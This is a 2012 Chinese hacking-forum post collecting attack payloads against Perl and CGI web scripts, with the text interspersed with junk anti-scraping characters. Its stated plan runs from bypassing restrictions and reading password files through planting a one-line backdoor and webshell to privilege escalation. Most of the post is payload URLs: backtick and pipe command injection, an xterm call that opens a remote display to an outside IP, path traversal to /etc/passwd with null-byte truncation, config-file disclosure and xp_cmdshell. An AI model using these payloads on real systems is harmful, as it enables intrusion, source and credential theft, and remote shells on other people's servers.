找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2593|回复: 0
打印 上一主题 下一主题

CGI资料整理

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:56:16 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着  
/ `* e1 l1 a$ C& H5 h/ @9 Lcookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权  ) U* K. N, }% N5 m+ P
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们  ) r1 s5 S; m8 ?; p7 r
注“  
$ w( v* w' k- F4 s2 F  x- Sperl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。  
! ~" y4 }$ G- }; S以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET  ' S" x* j# `; m' K1 b
. F: O+ }) N9 q7 S" B' q
http://target.com/cgi-bin/home/news/sub.pl?12 随意构造  
6 V- F' {# f. z; J  Yhttp://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢  1 D, |* U: ?% h4 G. [9 W
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号  8 m( d3 |) L3 z8 E; j
http://target.com/cgi-bin/home/news/sub.pl?`id`  9 c! k. |! G2 c6 g  C8 x4 x( B/ ]
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`  
% g9 ]9 |+ z6 C, \" Z# chttp://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示  
5 q5 \: f. u0 C1 N5 @
* N' Q& s* l; S) }7 Rhttp://target.com/test.pl;ls|  7 r* T5 n' B8 _5 |% h; c3 `
http://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|  
4 i4 L/ Y) V( p0 _: u' Whttp://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|  1 p' h* w$ S3 j' g2 a  m% }' _- k
http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造  0 E3 M6 M" H& ^
比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。  
2 Y. f6 s2 M1 O$ ghttp://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection    W/ J/ P2 Q+ Q$ _

6 v$ N7 t4 Y# Mhttp://target.com/test.pl?&........ /../../etc/passwd  ; ~* t7 ^* Z& K7 J+ X& b
( F& F( ^+ H4 [- ]2 a, b* d
http://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./  
4 L* f9 ~9 ^- B9 t3 Z& {& Thttp://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了  
9 v9 ]6 u: p$ k) g' ~/ Z. vhttp://www.target.org/cgi-bin/cl ... ../../etc/passwd%00  
; @4 n0 m2 ]  ]. }; t: a3 C+ U! ^  I+ z& I3 V- ?3 c9 n
http://www.target.org/show.php?f ... /include/config.php 查看php代码  & G" F7 V7 g5 U, H9 h' z  _
http://www.target.org/show.php?f ... ng/admin/global.php  
3 g* E! s' r. z7 o* y- `
, ^* G4 k0 p2 P# D6 G" b: kemm和ps的一句话; N& _1 J9 w# {. l2 U( o$ q* \
" ?8 R, ]5 |5 Y' D
http://www.target.org/cgi-bin/cl ... /../../../bin/ls%20  
. `% F5 M$ H' l$ @2 F4 z# ]% j* \1 D; V0 A
>bbb%20|  
( M8 }4 ]0 a# X  l* F
8 z9 x$ Y4 S9 p; l0 Y+ K' Ahttp://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串  
, ]4 _$ d. h1 j
1 t+ h& W% W. Xhttp://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征  
" ?. w5 d3 Z$ u3 H1 H8 Nhttp://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin  
1 K, t/ n3 t8 U3 i  i" b( m# a7 A- a% w: O; E
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法  , y( M) \8 t" |( t) @5 C0 p9 k
http://target.com/index.html#cmd.exe  , r7 A" ]/ I- G/ |5 U- ]# O
http://target.com/index.html?dummyparam=xp_cmdshell  9 A" X& ]# _- e" R& D. Y0 g
lynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd  2 `6 z! E8 H, {9 |0 {, u
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表